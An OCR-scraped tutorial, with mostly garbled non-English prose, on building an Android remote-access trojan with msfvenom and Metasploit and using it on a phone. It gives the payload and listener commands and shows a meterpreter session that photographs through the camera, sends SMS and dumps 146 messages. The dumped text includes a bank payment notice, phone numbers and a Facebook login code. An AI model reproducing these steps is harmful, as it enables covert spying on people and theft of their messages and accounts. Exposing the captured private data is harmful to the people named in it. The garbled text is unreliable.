salam to all

mes586s [g¢m6037 (Android Rat) android hack with metasploit OIS :P

1 metasploit §oonqolend

2 home internet [g6qoud 93 ©0rdd port forwarding S §o3 VMYOGOlLLS sPodE[gend
oqqeom adudNetwork aden §eseodaelgdledd

0005836027

2qC port forwarding co6d 33lo36027 internet Router ¢dleoopdB: ogndlonwdn S38l3aqEapdall

B:q€ aBu5s3E8aB0oq0d[g§[epdaln window ¢o cmd ¢o  ipconfig [03050365 powd
192.168.121.5 &d

000563 linux ¢a3qE Gomes oo ifconfig a3 §odlogpdcdoddli
06556007 linux 1036037 linux 3 [gdlecd

Bz rat apk 0o9[god3lecSi

eomos c8&:ealG:  msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.121.5
LPORT=4444 R > /root/Desktop/n.apk

80508050l



root@kali: ~ @ 0

File Edit View Search Terminal Help

e tcp LHOST =_ LPORT=444

§o5c8050m3, 6820050l8203E:60l0oe0lewdI

root@kali: ~ e ®©® 0
File Edit View Search Terminal Help
:~# msfvenom -p android/meterpreter/reverse_tcp LHOST= 0.0.0.0 LPORT=444
4 R > /root/Desktop/n.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 8827 bytes

~#

o> rat apk 0o9[gpS[GedB:
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n.apk eco:qalGs :P

B¢ metasploit & [G:q€ e83005A303E:60m08 cod

use exploit/multi/handler

Beat

set payload android/meterpreter/reverse_tcp



(et
set LHOST 0.0.0.0 8esepenadubad&doopd

sf > use exploit/multi/handler
st exploit( ) > set payload android/meterpreter/reverse tcp

payload => android/meterpreter/reverse tcp
sf exploit( ) > set LHOST 0.0.0.C

B:q€ exploit 03805
Terminal e e 0

File Edit View Search Terminal Help
msf exploit( ) > exploit

[*] Started reverse TCP handler on 0. 0

[*] Starting the payload handler...

8330l :P

Rat apk 03 0o[g:030060200503 950006002:03 n.apk GrozgudSeu:cdnd o3 install cpSa8o5G:
open cpdom3, QB

Terminal @ 0 0

File Edit View Search Terminal Help
exploit( ) > exploit

Started reverse TCP handler on s
Starting the payload handler...

Sending stage (60830 bytes) to (i IIIININGG_S
Meterpreter session 3 opened ([N HEEENGNG_G2s44 —> at 2016-0

13:07:39 -0500




§022:0l§ :P 99960300603 qedo3pdoyedd 380 oqesdeon; :2Ced:
0008050003385 @02; sysinfo o8 §odcdadanddi
meterpreter > sysinfo

: localhost
: Android 4.4.4 - Linux 3.4.0-ElementalX-m8-2.00-Sense (armv7l)

~ : java/android

6§20500[g202060300603 qrdadom BgEqE help B[B§odcdaddl :P

6500508331005 Jo58:80500S

webcam_list s8{o3050365 of:0n camera 0008 jodioded
oqesBuaoSaoioiefion jodlonod

1: Back Camera

2: Front Camera

B 88:80560S webcam_snap 1

Auto save [gdagn:Clecd :P

meterpreter > webcam_list
1: Back Camera

2: Front Camera
meterpreter > webcam_snap 1
[*] Starting...

[+] Got frame

[*] Stopped

Webcam shot saved to: /root/gauBzGdg.jpeg
meterpreter > [j




File Edit View VM Tabs Help v | & Ol 2 5 | |E

Library x [/~ =
{A) Home (%! Kali-Linux-2.0.0-vm-i686

etosearch v

- (@) My Computer
(5 Kali-Linux-2.0.0-vm-i6;
(5] Clone of Kali-Linux-2.
£ Shared VMs

Applications ¥ Places ¥ '-“‘magevie.. v Thu13:28

gauBzGdg.jpeg

Image Edit View Go Help
€ Previous » Next @ @ @ Q H ¢
Image Properties v %

General
Name:
gauBzGdg.jpeg
Width:
240 pixels

Height:
320 pixels

Type:
JPEG image
File size:
18.9kB
Folder:
root
Metadata

Aperture Value:

240 x 320 pixels 18.9kB 100%

To direct i the mous: de or press Ctrl+G.

65205 sms 8 [0300005 :P
comes on send_sms -d +9592065498 —t Hallo

$01053 0203050005g1E 02005l

meterpreter > send sms -d 092056478 -t Hallo

[+] SMS sent - Transmission successful

§0205 §:050Ee0Congd[gdecd



00000 LYCAMOBILE LTE oo

/33

Thursday, February 4

@ Nyi Nyi San
Hallo




0000 LYCAMOBILE LTE 7:38 PM

< Messages (8) Nyi Nyi

Text Message
Today 7:37 PM

Hallo

Details

Send



P

650098 08:aded sms 0005600508385 E0n0d 386077 6onde§ 03 dump_sms

%6(\‘%08 Auto save @Sogxé]eoSu

meterpreter > duﬁp_sms
[*] Fetching 146 sms messages

[*] SMS messages saved to: sms_dump_20160204135004.txt

:D sms 146 Gm8§1ooos ‘P

o3g¢logpdecd

Applications ~ Places -Files hd

| 1fir Home |

Recent

Desktop
Documents
Downloads
Music
Pictures
Videos

Trash

Floppy Disk

Computer

Browse Network

Thu 13:56

MUglsjbd.jpeg

e
a
Pictures

|

GQIAfmRExX. html RxYXfesE.html

sms_dump_
20160203062440.

sms_dump_

Fagrs

20160204135004,

txt

ration fail

MyHKYzZNr.jpeg

pWyoklpS.jpeg

sms_dump_
201602021 /71555.
txt

——

(N

Templates
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| sms-dump-201 60204135004 txt S ave = e @ o

0 -
| Open | [ o

Status : NOT_RECEIVED
Message : Payment of CHF 100.00 successfully transferred to +41 77 5920 07 97 via
PostFinance Mobile fast service. PostFinance Contact Center: (0848 888 700 (charges

apply)

#16
Type : Incoming
Date : 2016-01-18 02:04:23

Address : +764539776
Status : NOT_RECEIVED
Message : you missed this call: from +764539776 on 01/18 at 08:04.

#17
Type : Incoming
Date 1 2016-01-14 06:09:16

Address : Lycamobile
Status : NOT_RECEIVED
Massage : nullne. Mehr Infos unter www.lycamobile.ch/3for2

#18
Type : Incoming
Date : 2016-01-06 13:24:04

Address : Facebook
Status : NOT_RECEIVED
Message : Use 213010 as your password for Facebook for Android.

#19

Twrne * Thncominn
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